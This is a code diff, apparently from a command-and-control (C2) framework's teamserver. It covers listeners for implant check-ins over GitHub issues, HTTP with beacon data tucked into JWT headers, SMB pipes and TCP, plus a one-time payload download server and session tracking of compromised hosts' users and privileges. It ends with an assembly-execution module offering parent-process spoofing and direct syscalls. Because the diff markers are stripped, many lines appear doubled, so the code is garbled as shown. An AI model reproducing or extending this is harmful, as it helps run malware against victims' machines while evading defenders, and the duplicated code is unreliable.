if(response->status!=200 && response->status!=201)
{
if(response->status!=200 && response->status!=201)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Error with the ListenerGithub: {0}", response->body);
m_logger->error("Error with the ListenerGithub: {0}", response->body);
#endif
continue;
}
}
}
else
{
nlohmann::json responseData = {
{"title", reponseTitle},
{"body", res},
};
continue;
}
}
}
else
{
nlohmann::json responseData = {
{"title", reponseTitle},
{"body", res},
};
std::string data = responseData.dump();
std::string data = responseData.dump();
std::string contentType = "application/json";
auto response = cli.Post(endpoint, headers, data, contentType);
std::string contentType = "application/json";
auto response = cli.Post(endpoint, headers, data, contentType);
err = response.error();
if(err!=httplib::Error::Success)
{
err = response.error();
if(err!=httplib::Error::Success)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Http client Post {0}", httplib::to_string(err));
m_logger->error("Http client Post {0}", httplib::to_string(err));
#endif
continue;
}
continue;
}
if(response->status!=200 && response->status!=201)
{
if(response->status!=200 && response->status!=201)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Error with the ListenerGithub: {0}", response->body);
m_logger->error("Error with the ListenerGithub: {0}", response->body);
#endif
continue;
}
}
}
continue;
}
}
}
std::string data = "{\"state\":\"closed\"}";
std::string contentType = "application/json";
std::string data = "{\"state\":\"closed\"}";
std::string contentType = "application/json";
// close the issue
std::string issueEndpoint = "/repos/";
issueEndpoint += m_project;
issueEndpoint += "/issues/";
issueEndpoint += std::to_string(number);
auto response = cli.Post(issueEndpoint, headers, data, contentType);
// close the issue
std::string issueEndpoint = "/repos/";
issueEndpoint += m_project;
issueEndpoint += "/issues/";
issueEndpoint += std::to_string(number);
auto response = cli.Post(issueEndpoint, headers, data, contentType);
err = response.error();
if(err!=httplib::Error::Success)
{
err = response.error();
if(err!=httplib::Error::Success)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Http client Post close {0}", httplib::to_string(err));
m_logger->error("Http client Post close {0}", httplib::to_string(err));
#endif
continue;
}
}
}
}
continue;
}
}
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}
}
int ListenerGithub::HandleCheckIn(const std::string& req, std::string& output)
{
#ifdef BUILD_TEAMSERVER
m_logger->trace("HandleCheckIn");
m_logger->trace("HandleCheckIn");
#endif
try
{
bool ret = handleMessages(req, output);
}
catch (const std::exception& ex)
{
try
{
bool ret = handleMessages(req, output);
}
catch (const std::exception& ex)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("HandleCheckIn catch exception");
m_logger->error("HandleCheckIn catch exception");
#endif
}
catch (...)
{
}
catch (...)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("HandleCheckIn catch...");
m_logger->error("HandleCheckIn catch...");
#endif
}
}
return 0;
return 0;
}
+7 -7
View File
@@ -11,15 +11,15 @@ class ListenerGithub : public Listener
public:
ListenerGithub(const std::string& project, const std::string& token, const nlohmann::json& config = nlohmann::json::object());
~ListenerGithub();
~ListenerGithub();
private:
void checkGithubIssues();
int HandleCheckIn(const std::string& req, std::string& res);
void checkGithubIssues();
int HandleCheckIn(const std::string& req, std::string& res);
std::string m_project;
std::string m_token;
std::string m_project;
std::string m_token;
bool m_isRunning;
std::unique_ptr<std::thread> m_githubFetcher;
bool m_isRunning;
std::unique_ptr<std::thread> m_githubFetcher;
};
+75 -75
View File
@@ -127,7 +127,7 @@ ListenerHttp::~ListenerHttp()
void ListenerHttp::launchHttpServ()
{
httplib::Response res;
httplib::Response res;
json uri = json::array();
std::string uriFileDownload = m_listenerConfig.value("uriFileDownload", std::string{});
@@ -159,7 +159,7 @@ void ListenerHttp::launchHttpServ()
}
#endif
// Filter to match the URI of the config file or the file download URI
// Filter to match the URI of the config file or the file download URI
m_svr->set_post_routing_handler([&, uriFileDownload](const auto& req, auto& res)
{
bool isUri = false;
@@ -239,16 +239,16 @@ void ListenerHttp::launchHttpServ()
#ifdef BUILD_TEAMSERVER
// m_logger->info("Get connection: {0}", req.path);
#endif
if (req.has_header("Authorization"))
{
// jwt should contained Bearer b64data.b6data.beaconData
std::string jwt = req.get_header_value("Authorization");
if (req.has_header("Authorization"))
{
// jwt should contained Bearer b64data.b6data.beaconData
std::string jwt = req.get_header_value("Authorization");
std::string data;
char delimiter = '.';
size_t pos = jwt.find_last_of(delimiter);
if (pos != std::string::npos)
data = jwt.substr(pos + 1);
std::string data;
char delimiter = '.';
size_t pos = jwt.find_last_of(delimiter);
if (pos != std::string::npos)
data = jwt.substr(pos + 1);
if(!data.empty())
{
@@ -292,38 +292,38 @@ void ListenerHttp::launchHttpServ()
});
}
// File Server
if(!uriFileDownload.empty())
{
std::string fileDownloadReg = uriFileDownload;
fileDownloadReg+=":filename";
m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res)
{
bool deleteFile=false;
auto it = req.headers.find("OneTimeDownload");
if (it != req.headers.end())
{
std::string header_value = it->second;
deleteFile=true;
}
// File Server
if(!uriFileDownload.empty())
{
std::string fileDownloadReg = uriFileDownload;
fileDownloadReg+=":filename";
m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res)
{
bool deleteFile=false;
auto it = req.headers.find("OneTimeDownload");
if (it != req.headers.end())
{
std::string header_value = it->second;
deleteFile=true;
}
#ifdef BUILD_TEAMSERVER
if(m_logger && m_logger->should_log(spdlog::level::debug))
m_logger->debug("File server connection: {}, OneTimeDownload {}", req.path, deleteFile);
#endif
std::string filename = req.path_params.at("filename");
std::string filePath = downloadFolder;
filePath+="/";
filePath+=filename;
std::ifstream file(filePath, std::ios::binary);
std::string filename = req.path_params.at("filename");
std::string filePath = downloadFolder;
filePath+="/";
filePath+=filename;
std::ifstream file(filePath, std::ios::binary);
if (file)
{
if (file)
{
std::string buffer;
buffer.assign(std::istreambuf_iterator<char>(file), std::istreambuf_iterator<char>());
std::string buffer;
buffer.assign(std::istreambuf_iterator<char>(file), std::istreambuf_iterator<char>());
#ifdef BUILD_TEAMSERVER
std::string md5 = computeBufferMd5(buffer);
@@ -335,38 +335,38 @@ void ListenerHttp::launchHttpServ()
);
#endif
res.set_content(buffer, "application/x-binary");
res.set_content(buffer, "application/x-binary");
file.close();
if(deleteFile)
{
file.close();
if(deleteFile)
{
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->info("Delete file {}", filePath);
#endif
// std::string backUpFile = filePath+".DELETED";
// std::rename(filePath.data(), backUpFile.data());
std::remove(filePath.data());
}
}
else
{
// std::string backUpFile = filePath+".DELETED";
// std::rename(filePath.data(), backUpFile.data());
std::remove(filePath.data());
}
}
else
{
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->warn("File server: File not found at {}", filePath);
#endif
res.status = 404;
}
});
}
res.status = 404;
}
});
}
m_svr->listen(m_host.c_str(), m_port);
m_svr->listen(m_host.c_str(), m_port);
}
int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response& res)
{
string input = req.body;
string input = req.body;
#ifdef BUILD_TEAMSERVER
if(m_logger)
@@ -376,11 +376,11 @@ int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response&
}
#endif
string output;
bool ret = handleMessages(input, output);
string output;
bool ret = handleMessages(input, output);
json httpHeaders;
json httpHeaders;
try
{
httpHeaders = m_listenerConfig.at("server").at("headers");
@@ -394,22 +394,22 @@ int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response&
return -1;
}
httplib::Headers httpServerHeaders;
for (auto& it : httpHeaders.items())
httpServerHeaders.insert({(it).key(), (it).value()});
res.headers = httpServerHeaders;
httplib::Headers httpServerHeaders;
for (auto& it : httpHeaders.items())
httpServerHeaders.insert({(it).key(), (it).value()});
res.headers = httpServerHeaders;
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->trace("output.size {}", std::to_string(output.size()));
#endif
if(ret)
res.body = output;
else
res.status = 200;
if(ret)
res.body = output;
else
res.status = 200;
return 0;
return 0;
}
@@ -423,11 +423,11 @@ int ListenerHttp::HandleCheckIn(const std::string& requestData, httplib::Respons
}
#endif
string output;
bool ret = handleMessages(requestData, output);
string output;
bool ret = handleMessages(requestData, output);
json httpHeaders;
json httpHeaders;
try
{
httpHeaders = m_listenerConfig.at("server").at("headers");
@@ -441,20 +441,20 @@ int ListenerHttp::HandleCheckIn(const std::string& requestData, httplib::Respons
return -1;
}
httplib::Headers httpServerHeaders;
for (auto& it : httpHeaders.items())
httpServerHeaders.insert({(it).key(), (it).value()});
res.headers = httpServerHeaders;
httplib::Headers httpServerHeaders;
for (auto& it : httpHeaders.items())
httpServerHeaders.insert({(it).key(), (it).value()});
res.headers = httpServerHeaders;
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->trace("output.size {}", std::to_string(output.size()));
#endif
if(ret)
res.body = output;
else
res.status = 200;
if(ret)
res.body = output;
else
res.status = 200;
return 0;
return 0;
}
+8 -8
View File
@@ -13,19 +13,19 @@ public:
ListenerHttp(const std::string& ip, int localport, const nlohmann::json& config, bool isHttps=false);
~ListenerHttp();
int init();
int init();
private:
void launchHttpServ();
void launchHttpServ();
int HandleCheckIn(const httplib::Request& req, httplib::Response& res);
int HandleCheckIn(const std::string& requestData, httplib::Response& res);
int HandleCheckIn(const httplib::Request& req, httplib::Response& res);
int HandleCheckIn(const std::string& requestData, httplib::Response& res);
std::string m_host;
int m_port;
std::string m_host;
int m_port;
bool m_isHttps;
nlohmann::json m_listenerConfig;
std::unique_ptr<httplib::Server> m_svr;
std::unique_ptr<std::thread> m_httpServ;
std::unique_ptr<httplib::Server> m_svr;
std::unique_ptr<std::thread> m_httpServ;
};
+12 -12
View File
@@ -16,11 +16,11 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con
{
m_listenerHash = random_string(SizeListenerHash);
json metadata;
json metadata;
metadata["1"] = ListenerSmbType;
metadata["2"] = ip;
metadata["3"] = pipeName;
m_metadata = metadata.dump();
m_metadata = metadata.dump();
m_serverSmb = new PipeHandler::Server(pipeName);
@@ -50,8 +50,8 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con
ListenerSmb::~ListenerSmb()
{
m_stopThread=true;
m_smbServ->join();
m_stopThread=true;
m_smbServ->join();
delete m_serverSmb;
@@ -64,12 +64,12 @@ ListenerSmb::~ListenerSmb()
void ListenerSmb::launchSmbServ()
{
try
try
{
while(1)
{
if(m_stopThread)
return;
while(1)
{
if(m_stopThread)
return;
m_serverSmb->initServer();
@@ -105,13 +105,13 @@ void ListenerSmb::launchSmbServ()
#endif
}
}
}
}
}
}
catch (...)
{
return;
}
return;
return;
}
+6 -6
View File
@@ -5,7 +5,7 @@
namespace PipeHandler
{
class Server;
class Server;
}
class ListenerSmb : public Listener
@@ -13,13 +13,13 @@ class ListenerSmb : public Listener
public:
ListenerSmb(const std::string& ip, const std::string& pipeName, const nlohmann::json& config = nlohmann::json::object());
~ListenerSmb();
~ListenerSmb();
private:
void launchSmbServ();
void launchSmbServ();
PipeHandler::Server* m_serverSmb;
PipeHandler::Server* m_serverSmb;
bool m_stopThread;
std::unique_ptr<std::thread> m_smbServ;
bool m_stopThread;
std::unique_ptr<std::thread> m_smbServ;
};
+75 -75
View File
@@ -9,21 +9,21 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j
: Listener("0.0.0.0", std::to_string(localPort), ListenerTcpType)
, m_stopThread(true)
{
m_listenerHash = random_string(SizeListenerHash);
m_listenerHash = random_string(SizeListenerHash);
json metadata;
json metadata;
metadata["1"] = ListenerTcpType;
metadata["2"] = ip;
metadata["3"] = std::to_string(localPort);
m_metadata = metadata.dump();
m_metadata = metadata.dump();
m_port = localPort;
m_port = localPort;
m_serverTcp = new SocketServer(m_port);
m_serverTcp = new SocketServer(m_port);
#ifdef BUILD_TEAMSERVER
// Logger
std::vector<spdlog::sink_ptr> sinks;
// Logger
std::vector<spdlog::sink_ptr> sinks;
auto console_sink = std::make_shared<spdlog::sinks::stdout_color_sink_mt>();
auto logLevel = resolveLogLevel(config);
@@ -33,7 +33,7 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j
auto file_sink = std::make_shared<spdlog::sinks::rotating_file_sink_mt>("logs/Listener_"+ListenerTcpType+"_"+std::to_string(localPort)+"_"+m_listenerHash+".txt", 1024*1024*10, 3);
file_sink->set_level(spdlog::level::trace);
sinks.push_back(file_sink);
sinks.push_back(file_sink);
m_logger = std::make_shared<spdlog::logger>("Listener_"+ListenerTcpType+"_"+std::to_string(localPort)+"_"+m_listenerHash.substr(0,8), begin(sinks), end(sinks));
m_logger->set_level(logLevel);
@@ -44,64 +44,64 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j
int ListenerTcp::init()
{
try
{
int maxAttempt=10;
int attempts=0;
while(!m_serverTcp->isServerLaunched())
{
m_serverTcp->stop();
m_serverTcp->launch();
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
// std::cout << "Wait for SocksServer to start on port " << m_port << std::endl;
attempts++;
if(attempts>maxAttempt)
{
// std::cout << "Unable to start the SocksServer on port " << m_port << " after " << maxAttempt << " attempts" << std::endl;
try
{
int maxAttempt=10;
int attempts=0;
while(!m_serverTcp->isServerLaunched())
{
m_serverTcp->stop();
m_serverTcp->launch();
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
// std::cout << "Wait for SocksServer to start on port " << m_port << std::endl;
attempts++;
if(attempts>maxAttempt)
{
// std::cout << "Unable to start the SocksServer on port " << m_port << " after " << maxAttempt << " attempts" << std::endl;
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->error("Unable to start the SocksServer on port {}", m_port);
#endif
}
}
}
}
if(m_serverTcp->isServerStoped())
{
// std::cout << "Start SocksServer failed on port " << m_port << std::endl;
return -1;
}
if(m_serverTcp->isServerStoped())
{
// std::cout << "Start SocksServer failed on port " << m_port << std::endl;
return -1;
}
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->info("TCP listener started on port {}", m_port);
#endif
m_stopThread=false;
m_tcpServ = std::make_unique<std::thread>(&ListenerTcp::launchTcpServ, this);
}
catch(const std::exception& e)
{
// std::cout << e.what() << '\n';
m_stopThread=false;
m_tcpServ = std::make_unique<std::thread>(&ListenerTcp::launchTcpServ, this);
}
catch(const std::exception& e)
{
// std::cout << e.what() << '\n';
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->error("TCP listener initialization failure: {}", e.what());
#endif
return -1;
}
return 1;
return -1;
}
return 1;
}
ListenerTcp::~ListenerTcp()
{
if(m_stopThread==false)
{
m_stopThread=true;
m_tcpServ->join();
}
if(m_stopThread==false)
{
m_stopThread=true;
m_tcpServ->join();
}
delete m_serverTcp;
delete m_serverTcp;
#ifdef BUILD_TEAMSERVER
if(m_logger)
@@ -122,7 +122,7 @@ int ListenerTcp::splitInPacket(const std::string& input, std::vector<std::string
}
if (start < input.length())
{
{
output.push_back(input.substr(start));
}
@@ -132,16 +132,16 @@ int ListenerTcp::splitInPacket(const std::string& input, std::vector<std::string
void ListenerTcp::launchTcpServ()
{
try
try
{
while(!m_stopThread)
{
for(int i=0; i<m_serverTcp->m_socketTunnelServers.size(); i++)
{
if(m_serverTcp->m_socketTunnelServers[i]!=nullptr)
{
std::string input;
int res = m_serverTcp->m_socketTunnelServers[i]->recv(input);
while(!m_stopThread)
{
for(int i=0; i<m_serverTcp->m_socketTunnelServers.size(); i++)
{
if(m_serverTcp->m_socketTunnelServers[i]!=nullptr)
{
std::string input;
int res = m_serverTcp->m_socketTunnelServers[i]->recv(input);
if(res<0)
{
@@ -151,33 +151,33 @@ void ListenerTcp::launchTcpServ()
m_logger->warn("Closed TCP tunnel {} due to read failure", i);
#endif
}
else if(!input.empty())
{
std::vector<std::string> trames;
splitInPacket(input, trames);
else if(!input.empty())
{
std::vector<std::string> trames;
splitInPacket(input, trames);
for(int j=0; j<trames.size(); j++)
{
std::string output;
handleMessages(trames[j], output);
output.append("<TCP-666>");
m_serverTcp->m_socketTunnelServers[i]->send(output);
}
}
}
}
for(int j=0; j<trames.size(); j++)
{
std::string output;
handleMessages(trames[j], output);
output.append("<TCP-666>");
m_serverTcp->m_socketTunnelServers[i]->send(output);
}
}
}
}
// Remove ended tunnels
m_serverTcp->cleanTunnel();
// Remove ended tunnels
m_serverTcp->cleanTunnel();
std::this_thread::sleep_for(std::chrono::milliseconds(20));
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(20));
}
}
catch (...)
{
return;
}
return;
return;
}
+9 -9
View File
@@ -10,18 +10,18 @@ class ListenerTcp : public Listener
public:
ListenerTcp(const std::string& ip, int localport, const nlohmann::json& config = nlohmann::json::object());
~ListenerTcp();
int init();
~ListenerTcp();
int init();
private:
void launchTcpServ();
int splitInPacket(const std::string& input, std::vector<std::string>& output);
void launchTcpServ();
int splitInPacket(const std::string& input, std::vector<std::string>& output);
SocketServer* m_serverTcp;
SocketServer* m_serverTcp;
int m_port;
int m_port;
bool m_stopThread;
std::unique_ptr<std::thread> m_tcpServ;
bool m_stopThread;
std::unique_ptr<std::thread> m_tcpServ;
};
+287 -287
View File
@@ -10,295 +10,295 @@
class SessionListener
{
public:
SessionListener(const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2)
{
m_listenerHash = listenerHash;
m_type = type;
m_param1 = param1;
m_param2 = param2;
}
SessionListener(const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2)
{
m_listenerHash = listenerHash;
m_type = type;
m_param1 = param1;
m_param2 = param2;
}
const std::string& getListenerHash() const
{
return m_listenerHash;
}
const std::string& getListenerHash() const
{
return m_listenerHash;
}
const std::string& getType() const
{
return m_type;
}
const std::string& getType() const
{
return m_type;
}
const std::string& getParam1() const
{
return m_param1;
}
const std::string& getParam1() const
{
return m_param1;
}
const std::string& getParam2() const
{
return m_param2;
}
const std::string& getParam2() const
{
return m_param2;
}
private:
std::string m_listenerHash;
std::string m_type;
std::string m_param1;
std::string m_param2;
std::string m_listenerHash;
std::string m_type;
std::string m_param1;
std::string m_param2;
};
class Session
{
public:
Session(const std::string& listenerHash, const std::string& beaconHash, const std::string& hostname, const std::string& username,
const std::string& arch, const std::string& privilege, const std::string& os)
{
m_listenerHash=listenerHash;
m_beaconHash=beaconHash;
m_hostname=hostname;
m_username=username;
m_arch=arch;
m_privilege=privilege;
m_os=os;
m_killed=false;
Session(const std::string& listenerHash, const std::string& beaconHash, const std::string& hostname, const std::string& username,
const std::string& arch, const std::string& privilege, const std::string& os)
{
m_listenerHash=listenerHash;
m_beaconHash=beaconHash;
m_hostname=hostname;
m_username=username;
m_arch=arch;
m_privilege=privilege;
m_os=os;
m_killed=false;
auto current_time = std::chrono::system_clock::now();
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
m_lastProofOfLifeSec = duration_in_seconds.count();
}
auto current_time = std::chrono::system_clock::now();
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
m_lastProofOfLifeSec = duration_in_seconds.count();
}
const std::string& getListenerHash() const
{
return m_listenerHash;
}
const std::string& getBeaconHash() const
{
return m_beaconHash;
}
const std::string& getUsername() const
{
return m_username;
}
const std::string& getHostname() const
{
return m_hostname;
}
const std::string& getArch() const
{
return m_arch;
}
const std::string& getPrivilege() const
{
return m_privilege;
}
const std::string& getOs() const
{
return m_os;
}
const std::string& getInternalIps() const
{
return m_internalIps;
}
const std::string& getProcessId() const
{
return m_processId;
}
const std::string& getAdditionalInformation() const
{
return m_additionalInformation;
}
const std::string& getListenerHash() const
{
return m_listenerHash;
}
const std::string& getBeaconHash() const
{
return m_beaconHash;
}
const std::string& getUsername() const
{
return m_username;
}
const std::string& getHostname() const
{
return m_hostname;
}
const std::string& getArch() const
{
return m_arch;
}
const std::string& getPrivilege() const
{
return m_privilege;
}
const std::string& getOs() const
{
return m_os;
}
const std::string& getInternalIps() const
{
return m_internalIps;
}
const std::string& getProcessId() const
{
return m_processId;
}
const std::string& getAdditionalInformation() const
{
return m_additionalInformation;
}
void setListenerHash(const std::string& listenerHash)
{
m_listenerHash = listenerHash;
}
void setBeaconHash(const std::string& beaconHash)
{
m_beaconHash = beaconHash;
}
void setUsername(const std::string& username)
{
m_username = username;
}
void setHostname(const std::string& hostname)
{
m_hostname = hostname;
}
void setArch(const std::string& arch)
{
m_arch = arch;
}
void setPrivilege(const std::string& privilege)
{
m_privilege = privilege;
}
void setOs(const std::string& os)
{
m_os = os;
}
void setInternalIps(const std::string& internalIps)
{
m_internalIps = internalIps;
}
void setProcessId(const std::string& processId)
{
m_processId = processId;
}
void setAdditionalInformation(const std::string& additionalInformation)
{
m_additionalInformation = additionalInformation;
}
void setListenerHash(const std::string& listenerHash)
{
m_listenerHash = listenerHash;
}
void setBeaconHash(const std::string& beaconHash)
{
m_beaconHash = beaconHash;
}
void setUsername(const std::string& username)
{
m_username = username;
}
void setHostname(const std::string& hostname)
{
m_hostname = hostname;
}
void setArch(const std::string& arch)
{
m_arch = arch;
}
void setPrivilege(const std::string& privilege)
{
m_privilege = privilege;
}
void setOs(const std::string& os)
{
m_os = os;
}
void setInternalIps(const std::string& internalIps)
{
m_internalIps = internalIps;
}
void setProcessId(const std::string& processId)
{
m_processId = processId;
}
void setAdditionalInformation(const std::string& additionalInformation)
{
m_additionalInformation = additionalInformation;
}
void updatePoofOfLife(std::string& lastProofOfLife)
{
double lastProofOfLifeSec = std::stod(lastProofOfLife);
void updatePoofOfLife(std::string& lastProofOfLife)
{
double lastProofOfLifeSec = std::stod(lastProofOfLife);
auto current_time = std::chrono::system_clock::now();
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
auto current_time = std::chrono::system_clock::now();
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
m_lastProofOfLifeSec = duration_in_seconds.count()-lastProofOfLifeSec;
}
m_lastProofOfLifeSec = duration_in_seconds.count()-lastProofOfLifeSec;
}
bool isSessionKilled()
{
return m_killed;
}
bool isSessionKilled()
{
return m_killed;
}
void setSessionAlive()
{
m_killed=false;
}
void setSessionAlive()
{
m_killed=false;
}
void setSessionKilled()
{
m_killed=true;
}
void setSessionKilled()
{
m_killed=true;
}
std::string getLastProofOfLife()
{
auto current_time = std::chrono::system_clock::now();
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
std::string getLastProofOfLife()
{
auto current_time = std::chrono::system_clock::now();
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
std::string output = std::to_string(duration_in_seconds.count()-m_lastProofOfLifeSec);
if(m_killed)
output="-1";
std::string output = std::to_string(duration_in_seconds.count()-m_lastProofOfLifeSec);
if(m_killed)
output="-1";
return output;
}
return output;
}
int addTask(const C2Message& task)
{
m_messageToSend.push(task);
return m_messageToSend.size();
}
int addTask(const C2Message& task)
{
m_messageToSend.push(task);
return m_messageToSend.size();
}
C2Message getTask()
{
C2Message output;
if(!m_messageToSend.empty())
{
output.CopyFrom(m_messageToSend.front());
m_messageToSend.pop();
}
return output;
}
C2Message getTask()
{
C2Message output;
if(!m_messageToSend.empty())
{
output.CopyFrom(m_messageToSend.front());
m_messageToSend.pop();
}
return output;
}
int addTaskResult(const C2Message& taskResult)
{
m_messageToRead.push(taskResult);
return m_messageToRead.size();
}
int addTaskResult(const C2Message& taskResult)
{
m_messageToRead.push(taskResult);
return m_messageToRead.size();
}
C2Message getTaskResult()
{
if (!m_messageToRead.empty())
{
C2Message output = std::move(m_messageToRead.front());
m_messageToRead.pop();
return output;
}
return C2Message();
}
C2Message getTaskResult()
{
if (!m_messageToRead.empty())
{
C2Message output = std::move(m_messageToRead.front());
m_messageToRead.pop();
return output;
}
return C2Message();
}
// Adds a new SessionListener to the current session if one with the same hash doesn't already exist.
// Returns true if the listener was successfully added, false if it already exists.
bool addListener(const std::string& listenerHash, const std::string& type,
const std::string& param1, const std::string& param2)
{
bool listenerAlreadyExists = false;
// Adds a new SessionListener to the current session if one with the same hash doesn't already exist.
// Returns true if the listener was successfully added, false if it already exists.
bool addListener(const std::string& listenerHash, const std::string& type,
const std::string& param1, const std::string& param2)
{
bool listenerAlreadyExists = false;
// Check if a listener with the same hash already exists in the session
for (int i = 0; i < m_sessionListener.size(); ++i)
{
if (m_sessionListener[i].getListenerHash() == listenerHash)
{
listenerAlreadyExists = true;
break; // Exit early if found
}
}
// Check if a listener with the same hash already exists in the session
for (int i = 0; i < m_sessionListener.size(); ++i)
{
if (m_sessionListener[i].getListenerHash() == listenerHash)
{
listenerAlreadyExists = true;
break; // Exit early if found
}
}
// If the listener does not exist, create and add it
if (!listenerAlreadyExists)
{
SessionListener sessionListener(listenerHash, type, param1, param2);
m_sessionListener.push_back(sessionListener);
return true; // Successfully added
}
// If the listener does not exist, create and add it
if (!listenerAlreadyExists)
{
SessionListener sessionListener(listenerHash, type, param1, param2);
m_sessionListener.push_back(sessionListener);
return true; // Successfully added
}
return false; // Listener already existed, not added
}
return false; // Listener already existed, not added
}
bool rmListener(const std::string& listenerHash)
{
auto it = m_sessionListener.begin();
while(it != m_sessionListener.end())
{
if((*it).getListenerHash() == listenerHash)
{
it = m_sessionListener.erase(it);
return true;
}
else
{
it++;
}
}
return false;
}
bool rmListener(const std::string& listenerHash)
{
auto it = m_sessionListener.begin();
while(it != m_sessionListener.end())
{
if((*it).getListenerHash() == listenerHash)
{
it = m_sessionListener.erase(it);
return true;
}
else
{
it++;
}
}
return false;
}
const std::vector<SessionListener>& getListener()
{
return m_sessionListener;
}
const std::vector<SessionListener>& getListener()
{
return m_sessionListener;
}
private:
std::queue<C2Message> m_messageToRead;
std::queue<C2Message> m_messageToRead;
std::queue<C2Message> m_messageRead;
std::queue<C2Message> m_messageToSend;
std::queue<C2Message> m_messageToSend;
std::queue<C2Message> m_messageSent;
double m_lastProofOfLifeSec;
double m_lastProofOfLifeSec;
std::string m_listenerHash;
std::string m_beaconHash;
std::string m_hostname;
std::string m_username;
std::string m_arch;
std::string m_privilege;
std::string m_os;
std::string m_internalIps;
std::string m_processId;
std::string m_additionalInformation;
std::string m_listenerHash;
std::string m_beaconHash;
std::string m_hostname;
std::string m_username;
std::string m_arch;
std::string m_privilege;
std::string m_os;
std::string m_internalIps;
std::string m_processId;
std::string m_additionalInformation;
std::vector<SessionListener> m_sessionListener;
std::vector<SessionListener> m_sessionListener;
bool m_killed;
bool m_killed;
};
@@ -308,64 +308,64 @@ private:
class SocksSession
{
public:
SocksSession(const std::string& listenerHash, const std::string& beaconHash)
{
m_listenerHash=listenerHash;
m_beaconHash=beaconHash;
}
SocksSession(const std::string& listenerHash, const std::string& beaconHash)
{
m_listenerHash=listenerHash;
m_beaconHash=beaconHash;
}
std::string getListenerHash()
{
return m_listenerHash;
}
std::string getListenerHash()
{
return m_listenerHash;
}
std::string getBeaconHash()
{
return m_beaconHash;
}
std::string getBeaconHash()
{
return m_beaconHash;
}
int addTask(const C2Message& task)
{
m_messageToSend.push(task);
return m_messageToSend.size();
}
int addTask(const C2Message& task)
{
m_messageToSend.push(task);
return m_messageToSend.size();
}
C2Message getTask()
{
C2Message output;
if(!m_messageToSend.empty())
{
output.CopyFrom(m_messageToSend.front());
m_messageToSend.pop();
}
return output;
}
C2Message getTask()
{
C2Message output;
if(!m_messageToSend.empty())
{
output.CopyFrom(m_messageToSend.front());
m_messageToSend.pop();
}
return output;
}
int addTaskResult(const C2Message& taskResult)
{
m_messageToRead.push(taskResult);
return m_messageToRead.size();
}
int addTaskResult(const C2Message& taskResult)
{
m_messageToRead.push(taskResult);
return m_messageToRead.size();
}
C2Message getTaskResult()
{
C2Message output;
if(!m_messageToRead.empty())
{
output.CopyFrom(m_messageToRead.front());
m_messageToRead.pop();
}
return output;
}
C2Message getTaskResult()
{
C2Message output;
if(!m_messageToRead.empty())
{
output.CopyFrom(m_messageToRead.front());
m_messageToRead.pop();
}
return output;
}
private:
std::queue<C2Message> m_messageToRead;
std::queue<C2Message> m_messageToRead;
std::queue<C2Message> m_messageRead;
std::queue<C2Message> m_messageToSend;
std::queue<C2Message> m_messageToSend;
std::queue<C2Message> m_messageSent;
std::string m_listenerHash;
std::string m_beaconHash;
std::string m_listenerHash;
std::string m_beaconHash;
};
File diff suppressed because it is too large Load Diff
+46 -46
View File
@@ -3,7 +3,7 @@
#include "ModuleCmd.hpp"
#ifdef _WIN32
#include <Windows.h>
#include <Windows.h>
#endif
@@ -11,62 +11,62 @@ class AssemblyExec : public ModuleCmd
{
public:
AssemblyExec();
~AssemblyExec();
AssemblyExec();
~AssemblyExec();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int initConfig(const nlohmann::json &config);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int initConfig(const nlohmann::json &config);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
int setProcessToSpawn(const std::string& processToSpawn)
{
m_processToSpawn = processToSpawn;
return 0;
}
int setUseSyscall(bool useSyscall)
{
m_useSyscall = useSyscall;
return 0;
}
int setModeProcess(bool isModeProcess)
{
m_isModeProcess = isModeProcess;
return 0;
}
int setModeSpoofParent(bool isSpoofParent)
{
m_isSpoofParent = isSpoofParent;
return 0;
}
int setSpoofedParent(const std::string& spoofedParent)
{
m_spoofedParent = spoofedParent;
return 0;
}
int setProcessToSpawn(const std::string& processToSpawn)
{
m_processToSpawn = processToSpawn;
return 0;
}
int setUseSyscall(bool useSyscall)
{
m_useSyscall = useSyscall;
return 0;
}
int setModeProcess(bool isModeProcess)
{
m_isModeProcess = isModeProcess;
return 0;
}
int setModeSpoofParent(bool isSpoofParent)
{
